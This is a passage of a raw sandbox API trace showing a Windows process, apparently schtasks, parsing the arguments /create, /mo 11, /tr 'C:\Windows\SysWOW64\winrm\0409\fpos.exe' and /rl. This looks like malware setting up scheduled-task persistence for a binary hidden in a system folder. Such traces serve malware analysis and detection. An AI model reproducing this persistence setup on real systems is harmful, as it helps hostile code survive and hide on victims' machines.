_vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.435] lstrlenW (lpString="|create|") returned 8 [0156.435] lstrlenW (lpString="|mo|") returned 4 [0156.435] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0156.435] SetLastError (dwErrCode=0x490) [0156.435] lstrlenW (lpString="?") returned 1 [0156.435] lstrlenW (lpString="?") returned 1 [0156.435] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.435] lstrlenW (lpString="mo") returned 2 [0156.435] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.436] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|?|") returned 3 [0156.436] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.436] lstrlenW (lpString="|?|") returned 3 [0156.436] lstrlenW (lpString="|mo|") returned 4 [0156.436] SetLastError (dwErrCode=0x490) [0156.436] lstrlenW (lpString="s") returned 1 [0156.436] lstrlenW (lpString="s") returned 1 [0156.436] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.436] lstrlenW (lpString="mo") returned 2 [0156.436] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.436] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|s|") returned 3 [0156.436] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.436] lstrlenW (lpString="|s|") returned 3 [0156.436] lstrlenW (lpString="|mo|") returned 4 [0156.436] SetLastError (dwErrCode=0x490) [0156.436] lstrlenW (lpString="u") returned 1 [0156.436] lstrlenW (lpString="u") returned 1 [0156.436] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.436] lstrlenW (lpString="mo") returned 2 [0156.436] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.436] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|u|") returned 3 [0156.436] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.436] lstrlenW (lpString="|u|") returned 3 [0156.436] lstrlenW (lpString="|mo|") returned 4 [0156.436] SetLastError (dwErrCode=0x490) [0156.436] lstrlenW (lpString="p") returned 1 [0156.436] lstrlenW (lpString="p") returned 1 [0156.436] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.436] lstrlenW (lpString="mo") returned 2 [0156.436] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.437] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|p|") returned 3 [0156.437] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.437] lstrlenW (lpString="|p|") returned 3 [0156.437] lstrlenW (lpString="|mo|") returned 4 [0156.437] SetLastError (dwErrCode=0x490) [0156.437] lstrlenW (lpString="ru") returned 2 [0156.437] lstrlenW (lpString="ru") returned 2 [0156.437] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.437] lstrlenW (lpString="mo") returned 2 [0156.437] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.437] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ru|") returned 4 [0156.437] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.437] lstrlenW (lpString="|ru|") returned 4 [0156.437] lstrlenW (lpString="|mo|") returned 4 [0156.437] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0156.437] SetLastError (dwErrCode=0x490) [0156.437] lstrlenW (lpString="rp") returned 2 [0156.437] lstrlenW (lpString="rp") returned 2 [0156.437] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.437] lstrlenW (lpString="mo") returned 2 [0156.437] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.437] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rp|") returned 4 [0156.437] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.437] lstrlenW (lpString="|rp|") returned 4 [0156.437] lstrlenW (lpString="|mo|") returned 4 [0156.437] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0156.437] SetLastError (dwErrCode=0x490) [0156.437] lstrlenW (lpString="sc") returned 2 [0156.437] lstrlenW (lpString="sc") returned 2 [0156.437] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.437] lstrlenW (lpString="mo") returned 2 [0156.437] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.438] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.438] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.438] lstrlenW (lpString="|sc|") returned 4 [0156.438] lstrlenW (lpString="|mo|") returned 4 [0156.438] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0156.438] SetLastError (dwErrCode=0x490) [0156.438] lstrlenW (lpString="mo") returned 2 [0156.438] lstrlenW (lpString="mo") returned 2 [0156.438] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.438] lstrlenW (lpString="mo") returned 2 [0156.438] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.438] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.438] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.438] lstrlenW (lpString="|mo|") returned 4 [0156.438] lstrlenW (lpString="|mo|") returned 4 [0156.438] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0156.438] SetLastError (dwErrCode=0x0) [0156.438] SetLastError (dwErrCode=0x0) [0156.438] lstrlenW (lpString="11") returned 2 [0156.438] lstrlenW (lpString="-/") returned 2 [0156.438] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0156.438] SetLastError (dwErrCode=0x490) [0156.438] SetLastError (dwErrCode=0x490) [0156.438] SetLastError (dwErrCode=0x0) [0156.438] lstrlenW (lpString="11") returned 2 [0156.438] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0156.438] SetLastError (dwErrCode=0x490) [0156.438] SetLastError (dwErrCode=0x0) [0156.438] _memicmp (_Buf1=0x31d4c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.438] lstrlenW (lpString="11") returned 2 [0156.438] lstrlenW (lpString="11") returned 2 [0156.438] lstrlenW (lpString=" \x09") returned 2 [0156.438] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0156.438] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0156.438] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0156.439] GetLastError () returned 0x0 [0156.439] lstrlenW (lpString="11") returned 2 [0156.439] lstrlenW (lpString="11") returned 2 [0156.439] GetProcessHeap () returned 0x300000 [0156.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x6) returned 0x31b990 [0156.439] SetLastError (dwErrCode=0x0) [0156.439] SetLastError (dwErrCode=0x0) [0156.439] lstrlenW (lpString="/tr") returned 3 [0156.439] lstrlenW (lpString="-/") returned 2 [0156.439] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.439] lstrlenW (lpString="create") returned 6 [0156.439] lstrlenW (lpString="create") returned 6 [0156.439] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.439] lstrlenW (lpString="tr") returned 2 [0156.439] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.439] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|create|") returned 8 [0156.439] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.439] lstrlenW (lpString="|create|") returned 8 [0156.439] lstrlenW (lpString="|tr|") returned 4 [0156.439] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0156.439] SetLastError (dwErrCode=0x490) [0156.439] lstrlenW (lpString="?") returned 1 [0156.439] lstrlenW (lpString="?") returned 1 [0156.439] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.439] lstrlenW (lpString="tr") returned 2 [0156.439] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.439] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|?|") returned 3 [0156.439] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.439] lstrlenW (lpString="|?|") returned 3 [0156.439] lstrlenW (lpString="|tr|") returned 4 [0156.439] SetLastError (dwErrCode=0x490) [0156.440] lstrlenW (lpString="s") returned 1 [0156.440] lstrlenW (lpString="s") returned 1 [0156.440] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.440] lstrlenW (lpString="tr") returned 2 [0156.440] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.440] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|s|") returned 3 [0156.440] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.440] lstrlenW (lpString="|s|") returned 3 [0156.440] lstrlenW (lpString="|tr|") returned 4 [0156.440] SetLastError (dwErrCode=0x490) [0156.440] lstrlenW (lpString="u") returned 1 [0156.440] lstrlenW (lpString="u") returned 1 [0156.440] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.440] lstrlenW (lpString="tr") returned 2 [0156.440] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.440] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|u|") returned 3 [0156.440] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.440] lstrlenW (lpString="|u|") returned 3 [0156.440] lstrlenW (lpString="|tr|") returned 4 [0156.440] SetLastError (dwErrCode=0x490) [0156.440] lstrlenW (lpString="p") returned 1 [0156.440] lstrlenW (lpString="p") returned 1 [0156.440] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.440] lstrlenW (lpString="tr") returned 2 [0156.440] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.440] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|p|") returned 3 [0156.440] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.440] lstrlenW (lpString="|p|") returned 3 [0156.441] lstrlenW (lpString="|tr|") returned 4 [0156.441] SetLastError (dwErrCode=0x490) [0156.441] lstrlenW (lpString="ru") returned 2 [0156.441] lstrlenW (lpString="ru") returned 2 [0156.441] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.441] lstrlenW (lpString="tr") returned 2 [0156.441] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.441] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|ru|") returned 4 [0156.441] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.441] lstrlenW (lpString="|ru|") returned 4 [0156.441] lstrlenW (lpString="|tr|") returned 4 [0156.441] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0156.441] SetLastError (dwErrCode=0x490) [0156.441] lstrlenW (lpString="rp") returned 2 [0156.441] lstrlenW (lpString="rp") returned 2 [0156.441] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.441] lstrlenW (lpString="tr") returned 2 [0156.441] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.441] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rp|") returned 4 [0156.441] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.441] lstrlenW (lpString="|rp|") returned 4 [0156.441] lstrlenW (lpString="|tr|") returned 4 [0156.441] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0156.441] SetLastError (dwErrCode=0x490) [0156.441] lstrlenW (lpString="sc") returned 2 [0156.441] lstrlenW (lpString="sc") returned 2 [0156.441] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.441] lstrlenW (lpString="tr") returned 2 [0156.441] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.441] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|sc|") returned 4 [0156.441] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.442] lstrlenW (lpString="|sc|") returned 4 [0156.442] lstrlenW (lpString="|tr|") returned 4 [0156.442] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0156.442] SetLastError (dwErrCode=0x490) [0156.442] lstrlenW (lpString="mo") returned 2 [0156.442] lstrlenW (lpString="mo") returned 2 [0156.442] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.442] lstrlenW (lpString="tr") returned 2 [0156.442] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.442] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|mo|") returned 4 [0156.442] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.442] lstrlenW (lpString="|mo|") returned 4 [0156.442] lstrlenW (lpString="|tr|") returned 4 [0156.442] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0156.442] SetLastError (dwErrCode=0x490) [0156.442] lstrlenW (lpString="d") returned 1 [0156.442] lstrlenW (lpString="d") returned 1 [0156.442] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.442] lstrlenW (lpString="tr") returned 2 [0156.442] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.442] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|d|") returned 3 [0156.442] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.442] lstrlenW (lpString="|d|") returned 3 [0156.442] lstrlenW (lpString="|tr|") returned 4 [0156.442] SetLastError (dwErrCode=0x490) [0156.442] lstrlenW (lpString="m") returned 1 [0156.442] lstrlenW (lpString="m") returned 1 [0156.442] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.442] lstrlenW (lpString="tr") returned 2 [0156.442] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.442] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|m|") returned 3 [0156.442] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.443] lstrlenW (lpString="|m|") returned 3 [0156.443] lstrlenW (lpString="|tr|") returned 4 [0156.443] SetLastError (dwErrCode=0x490) [0156.443] lstrlenW (lpString="i") returned 1 [0156.443] lstrlenW (lpString="i") returned 1 [0156.443] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.443] lstrlenW (lpString="tr") returned 2 [0156.443] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.443] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|i|") returned 3 [0156.443] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.443] lstrlenW (lpString="|i|") returned 3 [0156.443] lstrlenW (lpString="|tr|") returned 4 [0156.443] SetLastError (dwErrCode=0x490) [0156.443] lstrlenW (lpString="tn") returned 2 [0156.443] lstrlenW (lpString="tn") returned 2 [0156.443] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.443] lstrlenW (lpString="tr") returned 2 [0156.443] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.443] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tn|") returned 4 [0156.443] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.443] lstrlenW (lpString="|tn|") returned 4 [0156.443] lstrlenW (lpString="|tr|") returned 4 [0156.443] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0156.444] SetLastError (dwErrCode=0x490) [0156.444] lstrlenW (lpString="tr") returned 2 [0156.444] lstrlenW (lpString="tr") returned 2 [0156.444] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.444] lstrlenW (lpString="tr") returned 2 [0156.444] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.444] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.444] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|tr|") returned 4 [0156.444] lstrlenW (lpString="|tr|") returned 4 [0156.444] lstrlenW (lpString="|tr|") returned 4 [0156.444] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0156.444] SetLastError (dwErrCode=0x0) [0156.444] SetLastError (dwErrCode=0x0) [0156.444] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.444] lstrlenW (lpString="-/") returned 2 [0156.444] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0156.444] SetLastError (dwErrCode=0x490) [0156.444] SetLastError (dwErrCode=0x490) [0156.444] SetLastError (dwErrCode=0x0) [0156.444] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.444] StrChrIW (lpStart="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'", wMatch=0x3a) returned=":\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'" [0156.444] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.444] _memicmp (_Buf1=0x31d500, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.444] _memicmp (_Buf1=0x31d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.444] SetLastError (dwErrCode=0x7a) [0156.444] SetLastError (dwErrCode=0x0) [0156.444] SetLastError (dwErrCode=0x0) [0156.444] lstrlenW (lpString="'C") returned 2 [0156.444] lstrlenW (lpString="-/") returned 2 [0156.444] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0156.444] SetLastError (dwErrCode=0x490) [0156.463] SetLastError (dwErrCode=0x490) [0156.463] SetLastError (dwErrCode=0x0) [0156.463] _memicmp (_Buf1=0x31d4c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.463] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.463] GetProcessHeap () returned 0x300000 [0156.463] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d580) returned 1 [0156.463] GetProcessHeap () returned 0x300000 [0156.463] RtlReAllocateHeap (Heap=0x300000, Flags=0xc, Ptr=0x31d580, Size=0x54) returned 0x31dc90 [0156.463] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.463] lstrlenW (lpString=" \x09") returned 2 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0156.464] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0156.465] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0156.465] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0156.465] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0156.465] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0156.465] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0156.465] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0156.465] GetLastError () returned 0x0 [0156.465] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.465] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.465] SetLastError (dwErrCode=0x0) [0156.465] SetLastError (dwErrCode=0x0) [0156.465] lstrlenW (lpString="/rl") returned 3 [0156.465] lstrlenW (lpString="-/") returned 2 [0156.465] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.465] lstrlenW (lpString="create") returned 6 [0156.465] lstrlenW (lpString="create") returned 6 [0156.465] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.465] lstrlenW (lpString="rl") returned 2 [0156.465] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.465] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|create|") returned 8 [0156.465] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.465] lstrlenW (lpString="|create|") returned 8 [0156.465] lstrlenW (lpString="|rl|") returned 4 [0156.465] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0156.465] SetLastError (dwErrCode=0x490) [0156.465] lstrlenW (lpString="?") returned 1 [0156.465] lstrlenW (lpString="?") returned 1 [0156.465] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.465] lstrlenW (lpString="rl") returned 2 [0156.465] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.465] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|?|") returned 3 [0156.465] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.465] lstrlenW (lpString="|?|") returned 3 [0156.465] lstrlenW (lpString="|rl|") returned 4 [0156.466] SetLastError (dwErrCode=0x490) [0156.466] lstrlenW (lpString="s") returned 1 [0156.466] lstrlenW (lpString="s") returned 1 [0156.466] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.466] lstrlenW (lpString="rl") returned 2 [0156.466] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.466] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|s|") returned 3 [0156.466] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c2a8 | out: _Buffer="|rl|") returned 4 [0156.466] lstrlenW (lpString="|s|") returned 3 [0156.466] lstrlenW (lpString="|rl|") returned 4 